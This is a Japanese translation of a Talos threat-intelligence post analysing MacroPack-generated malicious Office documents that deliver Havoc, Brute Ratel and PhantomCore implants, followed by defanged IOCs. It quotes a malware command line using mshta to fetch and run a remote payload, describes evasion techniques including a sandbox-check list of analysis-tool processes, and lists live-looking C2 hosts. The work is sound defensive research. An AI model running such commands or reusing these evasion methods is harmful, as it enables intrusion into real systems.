- Cisco Talos は最近、さまざまな攻撃グループによって VirusTotal にアップロードされた Microsoft Office 関連のドキュメントを複数発見しました。これらのドキュメントは 2024 年 5 月から 7 月にかけてアップロードされており、すべて「MacroPack」というペイロード ジェネレータ フレームワークの特定のバージョンで生成されていました。
- MacroPack はレッドチーム演習用に設計されたフレームワークですが、攻撃者もこれを使用して悪意のあるペイロードを展開していると Talos はある程度確信しています。
- Talos は、さまざまなソースや国(中国、パキスタン、ロシア、米国など)から VirusTotal にアップロードされた最新のドキュメントを分析し、ペイロード間の関連性やこれらのドキュメントの作成動機を明らかにしました。
- ポストエクスプロイト フレームワークの Havoc および Brute Ratel、リモートアクセス型トロイの木馬(RAT)である PhantomCore の新しい亜種など、複数のペイロードがこれらの悪意のあるファイルによって送り込まれます。
- 戦術、手法、手順(TTP)にはいくつか類似点がありますが、これらのアクティビティが単一の攻撃グループの仕業だと断定することはできませんでした。Talos のお客様はこの攻撃の影響を受けておらず、シスコ製品のテレメトリでも関連するアクティビティは確認されていません。
インターネットからダウンロードした Microsoft Office ドキュメント内のマクロの実行がブロックされるようになってからというもの、VBA マクロの脅威は減少しています。ただし、すべてのユーザーが最新バージョンの Office を使用しているわけではなく、依然として脆弱である可能性があります。
Talos は UNC1151 が使用したドキュメントに似た悪意のあるドキュメントを定期的に探索しています。その一環で、似たような VBA マクロを使用した不審なドキュメントをいくつか発見しましたが、同一の攻撃者によるものとは断定できていません。
変数名と関数名を難読化し、後のステージでは 1 つ以上の難読化されたコードレイヤを使用するというように、VBA コードは似ていますが、ルアー(おとり)のテーマは、VBA マクロを有効にするようユーザーに指示する一般的な内容から、軍事組織から送られてきたように見える公式文書に似せたドキュメントや手紙までいろいろです。これは、さまざまな攻撃者の関与を示唆しています。
MacroPack VBA コードに共通の特徴
すべてのドキュメント内の VBA コードには似たような特徴があります。Talos は、MacroPack フレームワークによってコードが生成されていることを突き止めました。MacroPack では、一般的な Office サポート形式、スクリプトファイル、ショートカットなど、さまざまなファイルタイプにパッケージ化された複数の種類のペイロードを生成できます。
このフレームワークによって生成されたコードには次のような特徴があるため、ファイルコンテンツの署名を使用して検出することがより困難になります。
- 関数名の変更
- 変数名の変更
- 余分な空白文字の削除
- コメントの削除
- 文字列のエンコード
- ペイロードの難読化
MacroPack によって生成されたペイロード文字列の難読化解除関数。
MacroPack は使いやすい設計になっており、さまざまなペイロードを迅速に生成します。ユーザーは 1 行のコマンドで、動作するインプラントを構築できます。
MacroPack には、サポート付きのプロフェッショナル版も存在します。プロフェッショナル版には、ペイロードの耐久性を高めるための追加機能が備わっているほか、マルウェア対策の回避、より高度なペイロード、リバースエンジニアリングの防止、追加のペイロードといった高度な機能もあります。ツールの作者は、悪意のある目的のためではなく、レッドチームのメンバーによってツールが使用されることを意図していますが、無料版のツールについては、誰が使用するかを制御できません。
悪意のないコードの存在
Talos が分析したすべての悪意のあるドキュメントに共通する特徴の中で目を引いたのは、4 つの悪意のない VBA サブルーチンの存在です。これらのサブルーチンはすべてのサンプルに出現し、難読化されていませんでした。また、他の悪意のあるサブルーチンや、ドキュメント内のどの部分でも使用されていませんでした。
通常とは異なるこれらの悪意のないサブルーチンを含むドキュメントについて、調査を開始した当初は、単一の攻撃グループがすべて作成したのではないかと考えていました。しかし、ルアーとして使用しているドキュメントが異なり、ドキュメントが別々の国からアップロードされていることから、これらのサブルーチンは MacroPack のプロフェッショナル版に含まれていたという結論に至りました。これは、精度が高く信頼できる情報源によって確認済みです。
Word のプログラミング本から抜粋したコードスニペット。
この 2 つの関数の起源を調べたところ、さまざまな VBA のサンプルを掲載している Web サイトと、フランス語で書かれた Microsoft Word のプログラミング本『Rédigez Facilement Des Documents Avec Word』(Michel Martin 著、日本語に訳すと「Word で簡単に文書作成」)にたどり着きました。
見つかったすべてのドキュメントに共通する悪意のない関数(出典:VBA のサンプルを掲載している Web サイト)。
無害なコードを含めることで、MacroPack によって生成されたコードが疑わしいとされる可能性が低くなります。一部のマルウェア対策エンジンでは、コードのエントロピーが高い(つまり、コード内の変数名や関数名が疑似ランダムに生成されていて、文字列が難読化されている)場合、そのコードを疑わしいものとして検出できる場合があります。エントロピーの低い悪意のない関数を含めることで、生成されるコード全体のエントロピーを下げられると考えられます。
悪意のないコード(MacroPack で作成されたもの)を含む一部のドキュメントでも、コード生成に異なる手法が使用されていました。完全に疑似ランダムに変数名や関数名を生成するのではなく、ランダムに選択された実際の単語の組み合わせで名前を構成するという手法です。
MacroPack の作者は、意味のあるように見える関数名や変数名を作成するために、マルコフ連鎖を使用した名前生成機能を開発したと述べています。
MacroPack の作者が、有効な英単語に基づいた名前生成機能を X(Twitter)で発表。
この機能は、マルウェア対策のヒューリスティック検出を回避しやすくするために MacroPack の作者によって組み込まれたものです。この手法を使用して、意味のあるように見える関数名や変数名でコードの機能を難読化しているサンプルを Talos はいくつか発見しました。
マルコフ連鎖によって生成された関数名と変数名。
VirusTotal にアップロードされた MacroPack のドキュメント
見つかったサンプルの TTP は悪意があると考えられ、ルアーのテーマもそのことを示していますが、攻撃者が属するグループを特定することはできませんでした。そのため、レッドチーム演習の一部である可能性も残されていますが、サンプルを文書化することが重要であることに変わりはありません。なぜなら、ブルーチームが独自の検出テストで同じサンプルに遭遇するかもしれないからです。
発見されたサンプルの中には、レッドチーム演習の一部であることが確認されたものもあり、それらは IOC のリストには含まれていません。ここからは、興味深いドキュメントクラスタをいくつか紹介します。
すべてのドキュメントはフレームワークによって生成され、フローは同様です。少なくとも 3 段階のコードで構成されており、これらのコードを実行してから C2 サーバーに接続します。これにより、感染したシステムを攻撃者が制御できるようになります。
発見された MacroPack 生成ドキュメントの実行ステージ。
テーマ 1:中国からアップロードされたルアー
1 つ目のクラスタ(ドキュメントは 3 つ)は、2024 年 5 月と 7 月に中国、台湾、パキスタンの IP アドレスから VirusTotal にアップロードされました。このクラスタの特徴は、一般的な Word 文書のコンテンツを使用した 3 つの類似したルアーで、「コンテンツを有効にする」ようユーザーに指示して VBA マクロコードを実行しようとします。ドキュメントの冒頭に、この指示が中国語または英語で記載されています。
中国語版のルアー。
一般的なテンプレートを使用した攻撃のペイロードの C2 IP アドレスはすべて、中国の河南省にある AS4837 という同じ自律システムのアドレス空間に存在します。これに加え、ルアーのテーマが似ていて、MacroPack が使用されていることから、単一の攻撃グループによるものとしてクラスタ分けできます。
英語版のルアー。
テーマ 1 のペイロード
3 つのドキュメントのうち、中国語のルアーを使用した 2 つには、最終ペイロードとして Havoc デーモン(インプラント)が含まれています。Havoc は、ペネトレーションテスター、レッドチーム、ブルーチーム向けに作成されたポストエクスプロイト C2(コマンド & コントロール)フレームワークです。GitHub で無料のオープンソースとして提供されており、作成者の Paul Ungur 氏によってメンテナンスされています。Havoc フレームワークは、チームサーバーとエージェントの 2 つのコンポーネントに分かれています。チームサーバーは、接続したオペレーターによる操作を処理し、エージェントにタスクを割り当て、コールバック、コマンドの実行結果、アップロードされたファイル、スクリーンショットを解析します。エージェントまたはインプラントは、Havoc 用語ではデーモンと呼ばれ、オペレーターによって制御対象のシステムにインストールされます。エージェントを使用すると、オペレーターは影響を受けたシステムをリモートで制御できるようになります。
2 つの亜種の違いは、C2 の IP アドレスが異なることと、片方のルアーが 64 ビット Windows 用にコンパイルされているのに対し、もう片方は 32 ビット Windows 用にコンパイルされていることです。どちらのルアーも、同様のテーマを共有していること、C2 アドレスの AS が同じであること、クラウド電子メール通信を試行しているように見える C2 URL があり、HTTP ヘッダーに該当するリファラーが設定されていることから、両者の関連性は高いと考えられます。
C2 への最初の Havoc デーモン通信(構成バッファに、該当する HTTP ヘッダーを指定)。
シェルコードが Havoc デーモンをロードすると、DLL がプレーンテキスト構造からその構成ホストを読み取る。
2 つ目のペイロードは、シェルコードのローダーから DLL としてロードされる Brute Ratel インプラント(badger)です。Brute Ratel は、主にレッドチーム演習や攻撃シミュレーションに使用される C2 フレームワークですが、実際の攻撃者も悪用しています。
Brute Ratel は Cobalt Strike に似た最も一般的なフレームワークであり、これを使用してユーザーは次のことを行えます。
- エージェント(badger と呼ばれる)を攻撃対象のシステムに展開する。
- リモートでコマンドを実行する。
- ネットワーク内でラテラルムーブメントを実行する。
- 永続性を確立する。
- エンドポイント セキュリティ ソリューションによる検出を回避する。
badger の設定はシェルコード本体(長さ約 250 KB)に保存されており、DLL は RC4 復号ルーチンを使用してこれを復号します(badger の実行ファイルにハードコードされている復号キーを使用)。
DLL badger 内の RC4 復号ルーチンで Brute Ratel の設定を復号。
テーマ 2:パキスタン軍に関連したルアー
パキスタン軍に関連したテーマを使った 2 つ目のドキュメントクラスタは、パキスタンの 2 つの異なる場所から VirusTotal にアップロードされていました。Talos は、軍に関連したテーマであることと、最終ペイロードが Brute Ratel の DLL badger であることから、これらのドキュメントをまとめて分類することにしました。
2024 年 1 月に VirusTotal にアップロードされたパキスタン軍をテーマにしたドキュメントルアー。
最初のドキュメントには、パキスタン空軍の特定の将校階級に新たな賞を授与し、その功績に対する報酬として土地区画を付与するという内容の回覧文書を装った画像が埋め込まれています。このドキュメントを開いて VBA コードの実行を許可すると、MacroPack によって生成されたコードがメモリ内に Brute Ratel シェルコードローダーを作成し、それを実行して badger DLL をロードします。すべての DLL インプラントの設定はシェルコードに含まれており、RC4 ベースの復号ルーチンを使って復号された後、badger によって使用されます。
最初のドキュメントのインプラントは、dns[.]google サーバーおよび cloudflare-dns[.]com サーバーで DNS over HTTPS を使って、ホスト dns1[.]s-logistics[.]net および dns2[.]s-logistics[.]net に対して DNS 経由でデータをトンネリングするように設定されています。
2 つ目のルアーは特定の受信者に送信される機密文書を装ったもので、パキスタン空軍サイバーチームの民間人メンバーの雇用確認書を含んでいます。このドキュメントのペイロードも DLL ベースの Brute Ratel badger ですが、今回は C2 ローテーションに複数の Amazon Cloudfront CDN サーバーを使用しています。
2024 年 2 月に VirusTotal にアップロードされたパキスタン軍をテーマにしたドキュメントルアー。
2 つ目のドキュメントの Brute Ratel ペイロードには興味深い特徴があり、Adobe Experience Cloud エコシステムで使用するために作成された JSON オブジェクト(使用目的はマーケティング活動の追跡)を格納した、base64 でエンコードされた BLOB が含まれています。考えられる理由の 1 つは、このドキュメントがレッドチーム演習の一部であり、相手の対応内容を追跡するために Adobe Experience Cloud が使用されたということです。
Adobe Experience Cloud が 2 つ目のドキュメントから詳細を要求。
テーマ 3:ロシアからアップロードされたルアー
2024 年 7 月初旬にロシアの IP アドレスから VirusTotal にアップロードされたファイル(MacroPack で作成されたもの)を確認したところ、いくつか特徴がありました。分析した他のファイルのほとんどは Word 文書でしたが、このファイルは Excel ワークブックです。また、このルアーにはコンテンツがまったく存在せず、ワークブックを開いても何も表示されません。
VBA コードも、以前に発見されたものとは少し異なっていました。シェルコードを含むバイト配列を作成してホストプロセスにロードするのではなく、次のステージのための VBA コードが追加されており、その実行方法もかなり独特でした。
第 2 ステージの試行(特定の URL からファイルをダウンロードして実行)を部分的に難読化解除したもの。
第 1 ステージのコードは、2 つ目の VBA レイヤを生成し、Excel の新しいインスタンスを起動して、新しいワークブック(第 2 ステージの挿入の対象)を作成します。これは、VBA ウイルスの感染と似ています。
第 2 ステージが実行されると、hxxp[://]td[.]tula-steel[.]ru/en/image[.]jpg という URL からファイルをダウンロードし、ロードして実行しようとします。この TTP が成功したことを示すものはありません。
テーマ 3 のペイロード
この記事の執筆時点では、接続先の URL には PhantomCore(Golang ベースのバックドア)のサンプルが格納されていました。Kaspersky 社の研究者によると、これを配布しているのはウクライナのハクティビストグループ Head Mare であり、サイバースパイ活動を目的としてロシアの政府機関や企業を標的にしているとされています。
コマンドをリッスンする目的で接続する前に、C2 ホストとポートを PhantomCore データから取得。
PhantomCore の亜種の中には garble(Golang の難読化ツール)で難読化されているものがあり、アナリストにとって難易度は高くなりますが、コアとなる機能は似ています。つまり、rsocket プロトコルを使用して C2 サーバーに接続し、追加のモジュールのインストール、データのアップロード、またはコマンドの実行を可能にするコマンドをリッスンします。
テーマ 4:米国からのアップロード
この最後のテーマは、これまでのサンプルよりもかなり早い時期(2023 年 3 月)に VirusTotal にアップロードされていました。米国の NMLS(Nationwide Multistate Licensing System & Registry)の暗号化された更新フォームを装ったものです。このドキュメントルアーを紹介することにしたのは、MacroPack でマルコフ連鎖ベースの名前生成機能が使用されていることを示すためです。このドキュメントには、ロシアからアップロードされたルアーと同様に、複数の VBA ステージがあります。
第 1 ステージでは、第 2 ステージを復号し、別の Word インスタンスを起動して実行します。第 2 ステージでは最終ペイロードを起動する前に、分析環境(サンドボックスやテストシステムなど)の有無をチェックします。
次の条件が満たされると、第 2 ステージのコードは終了します。
- システム内の論理 CPU の数が 1 つである。
- ユーザー名が「USER」である。
- プロセス fiddler、vxstream、vboxservice、tcpview、vmware、procexp、wmtools、processexplorer、processhacker、vbox、autoit、wireshark、procmon、idaq、autoruns、apatedns、windbg のどれか 1 つがアクティブである。
- 全体のディスクサイズが 60GB 未満である。
- 合計メモリサイズが 1GB 未満である。
- Word アプリケーションの最近使用したファイルの数が 3 つ未満である。
難読化された関数が、ペイロードをダウンロードする前に分析環境の有無をチェック。
最終ペイロードは HTML アプリケーションであると考えられます。そう判断する理由は、コマンドライン「mshta.exe hxxps[://]share[.]dedesignanddev[.]com:443/datadoc」を実行して、ダウンロードと起動が試行されたからです。Talos は、この記事の執筆時点では、最終ペイロードの取得と特定ができていません。
カバレッジ
今回の脅威は、以下の製品で検出してブロックすることが可能です。
Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからお申し込みください。
Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。
Threat Defense Virtual、適応型セキュリティアプライアンス、Meraki MX など、Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。
Cisco Secure Network/Cloud Analytics(Stealthwatch/Stealthwatch Cloud)は、ネットワークトラフィックを自動的に分析し、接続されているすべてのデバイスで、望ましくない可能性があるアクティビティをユーザーに警告します。
Cisco Secure Malware Analytics(旧 Threat Grid)は悪意のあるバイナリを特定し、Cisco Secure のすべての製品に保護機能を組み込みます。
Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。Umbrella の無料トライアルはこちらからお申し込みください。
Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトを検査します。
特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。
Cisco Duo は、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。
オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。この脅威の Snort SID は 63942 です。
IOC
この調査の IOC は、こちらの GitHub リポジトリでも提供しています。
テーマ 1
0cf1e59bae9dba7fbbf6ee6a36ca6bdb8fa0ac002b8cf824bd0888789a981c57 – 64 ビットの Havoc デーモン
hxxps[://]122[.]114[.]141[.]214/qq[.]com/ab735a258a90e8e1f3e3dcf231bf53a9/mail/ – Havoc C2
93df1d60edd6b656b08e0fc0d31b330fd275f5e1a9069dfbb769e7ba217fcb6e – Brute Ratel ローダー
hxxp[://]122[.]114[.]10[.]239/qazxsw – Brute Ratel C2
hxxp[://]122[.]114[.]10[.]239/edcvfr
2131de0cb705afa52f88ef70a87ee6c8662d38db0138efc4940218ee62d8a296 – 32 ビットの Havoc デーモン
hxxp[://]122[.]114[.]166[.]92/Collectors/3[.]0/settings/mail/ – Havoc C2
テーマ 2
cbafcf65b40d95e4699859a523ef4d300c57f93de6fbc6e194d1b922e9f3aba6 – パキスタン空軍サイバーチームに関連したルアー
b5608e73eb460944d9b523a940d94c95d3eb66d6a8efe82462e2589ccfaadb82 – 区画の割り当て、パキスタン軍
dns1[.]s-logistics[.]net – Brute Ratel C2 – DNS
dns2[.]s-logistics[.]net – Brute Ratel C2 – DNS
hxxps[://]d3qrqtfazjdt5i[.]cloudfront[.]net/HubsExtension/Resource/Type/c8d984[.]php – Brute Ratel C2
hxxps[://]d3qrqtfazjdt5i[.]cloudfront[.]net/HubsExtension/Browse/resourceType/id[.]php
hxxps[://]d2wpc9lcvgj680[.]cloudfront[.]net//HubsExtension/Resource/Type/c8d984[.]php
hxxps[://]d2wpc9lcvgj680[.]cloudfront[.]net/HubsExtension/Browse/resourceType/id[.]php
hxxps[://]d1209brpqetpa4[.]cloudfront[.]net/HubsExtension/Resource/Type/c8d984[.]php
hxxps[://]d1209brpqetpa4[.]cloudfront[.]net/HubsExtension/Browse/resourceType/id[.]php
hxxps[://]d2v6ycjbdzo6ui[.]cloudfront[.]net/HubsExtension/Browse/resourceType/id[.]php
hxxps[://]d2v6ycjbdzo6ui[.]cloudfront[.]net/HubsExtension/Resource/Type/c8d984[.]php
hxxps[://]d2z6sfzo660xrm[.]cloudfront[.]net/HubsExtension/Browse/resourceType/id[.]php
hxxps[://]d2z6sfzo660xrm[.]cloudfront[.]net/HubsExtension/Resource/Type/c8d984[.]php
テーマ 3
e1ee389b2af2d3a0eff4aa14f2ac3de6cdd4a73de80b5d450a44ec69cd332dbf – 悪意のある Excel ワークブック
80731db97c33b50cd3d8727decec7e6a12bbf5f671527648c4cbb559fabc3074 – ペイロード PhantomCore RAT
api.wilbderreis[.]ru – PhantomCore C2、ポート 80 で rsocket プロトコルを使用
hxxp[://]td[.]tula-steel[.]ru/en/image[.]jpg
テーマ 4
2c0a66c6370b4aa88ab3805d520e868cbc513b43119958257a72c9ff58ef241c – NMLS の更新をテーマとした不正ドキュメント
hxxps[://]share[.]dedesignanddev[.]com:443/datadoc
本稿は 2024 年 09 月 03 日にTalos Group のブログに投稿された「Threat actors using MacroPack to deploy Brute Ratel, Havoc and PhantomCore payloads」の抄訳です。